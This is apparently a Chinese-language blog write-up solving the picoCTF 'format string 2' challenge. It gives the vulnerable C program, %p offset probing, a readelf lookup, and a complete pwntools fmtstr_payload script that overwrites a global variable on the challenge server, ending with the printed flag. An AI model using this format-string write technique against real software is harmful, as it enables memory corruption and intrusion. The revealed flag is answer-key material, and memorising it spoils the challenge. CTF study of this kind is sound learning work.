iT邦幫忙

2024 iThome 鐵人賽

DAY 27
0
Security

picoCTF系列 第 27

[Day 27] format string 2

  • 分享至 

  • xImage
  •  

看到題目,知道這題不是要讀取 stack 的資料,而是要去寫 stack ,並且提示有告訴我們可以使用 pwntools。
https://ithelp.ithome.com.tw/upload/images/20240922/20168342AtOBApDcoq.png
hint 1:pwntools are very useful for this problem!

將題目給的檔案下載,會得到一個 .c 檔和一個 elf 檔案。

$ ls -l 
-rw-rw-r-- 1 peggggy-picoctf peggggy-picoctf   16272 Mar  9 17:05 vuln
-rw-rw-r-- 1 peggggy-picoctf peggggy-picoctf     704 Mar  9 17:05 vuln.c

exiftool 查看 vuln 的詳細資料,知道 vuln 是 64 bits Little endian elf file。

$ exiftool vuln
ExifTool Version Number         : 12.40
File Name                       : vuln
Directory                       : .
File Size                       : 16 KiB
File Modification Date/Time     : 2024:03:09 17:05:48+00:00
File Access Date/Time           : 2024:08:04 05:46:34+00:00
File Inode Change Date/Time     : 2024:08:04 05:32:47+00:00
File Permissions                : -rw-rw-r--
File Type                       : ELF executable
File Type Extension             : 
MIME Type                       : application/octet-stream
CPU Architecture                : 64 bit
CPU Byte Order                  : Little endian
Object File Type                : Executable file
CPU Type                        : AMD x86-64

連上題目給的 webshell,會得到以下 prompt,任意輸入,得到我們的輸入和 sus 的值。

$ nc rhea.picoctf.net 62757
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
12345
Here's your input: 12345
sus = 0x21737573
You can do better!

我們來檢視 .c 檔,看到當 sus == 0x67616c66 時,可以得到 flag.txt 的內容。

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];

  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

想起題目給我們的提示,我們來查看 pwntools 中有甚麼可用的 function,發現可以使用 fmtstr_payload 修改 stack 的資料。

於是我們打算使用 fmtstr_payloadsus 的值更改為 0x67616c66,所以我們要知道 (1) offset、(2) sus 的原位置、(3) sus 的目的位置。
https://ithelp.ithome.com.tw/upload/images/20240922/20168342ciBUU6gj2d.pnghttps://ithelp.ithome.com.tw/upload/images/20240922/201683427qDAbo9wlP.png

這裡有 pwntools 的詳細資料:https://docs.pwntools.com/en/stable/fmtstr.html#pwnlib.fmtstr.fmtstr_payload

想要知道偏移量 ( offset ),我們要知道buf開始的位置,因為程式最初和 stack 有互動的地方是在 scanf("%1024s", buf); 這行。

方法之一,可以輸入一串字串,然後查看字串會出現在第幾個位置的地址。假設我們輸入 8 個 a,查看 ascii code,在 16 進位下,a = 61,所以看哪個位置的地址是0x6161616161616161,就知道偏移量了,結果發現是在第14個位置,於是可以知道偏移量 = 14。

輸入 8 個 a 是因為 chall 是 64 bits elf file,一個 char 是一個 byte,8 個 a 就會等於 8 ( char ) * 8 ( bits ) = 64 bits

$ nc rhea.picoctf.net 64020
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
aaaaaaaa-%7$p-%8$p-%9$p-%10$p-%11$p-%12$p-%13$p-%14$p-%15$p-%16$p
Here's your input: aaaaaaaa-0x7f5f1ea824e8-0x9-0x7f5f1ea82de9-0x7f5f1e853098-0x7f5f1ea6f4d0-(nil)-0x7ffc84a4d6b0-0x6161616161616161-0x38252d702437252d-0x2d702439252d7024
sus = 0x21737573
You can do better!

方法 2 是用 pwntools 中的 FmStr(exec_fmt) ( 如下圖 ),便可以得到 offset。
https://ithelp.ithome.com.tw/upload/images/20240922/201683421eFr3fzqEh.png

剩下只要查看 sus 這個變數的地址在哪就好了,使用 readelf ,可以找到 sus 的位置在 0x0000000000404060。

$ readelf -s vuln | grep 'sus'
    28: 0000000000404060     4 OBJECT  GLOBAL DEFAULT   25 sus

於是可以寫出以下(檔名我將其設為 script.py)。其中 context.binary 如果不存在的話,需要自己設置架構 ( 這裡是 X86-64 ),

#!/usr/bin/env python3
from pwn import *

port = 63315
offset = 14

# set the related info of elf file to pwntools
context.log_level = "critical"
context.binary = ELF('./vuln')

# connet to webshell
p = remote('rhea.picoctf.net', port)

# set function so pwn can automate the process
def exec_fmt(payload):
    p = remote('rhea.picoctf.net', port)
    p.sendline(payload)
    return p.recvall()

'''
# we can know the offset in the elf file
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
'''

# fmtstr_payload(offset, {address: value})
payload = fmtstr_payload(offset, {0x404060: 0x67616c66})

p.sendline(payload)

flag = p.recvall()

print("Flag: ", flag)

執行 script 檔案就可以得到 flag 了。

$ ./script.py 
Flag:  b"You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\nHere's your input:                                                                                                      uc    \x00                                                                                                                                                                                                                                                    \x00aaaaba`@@\nI have NO clue how you did that, you must be a wizard. Here you go...\npicoCTF{f0rm47_57r?_f0rm47_m3m_e371fb20}"

上一篇
[Day 26] heap2
下一篇
[Day 28] Mob psycho
系列文
picoCTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言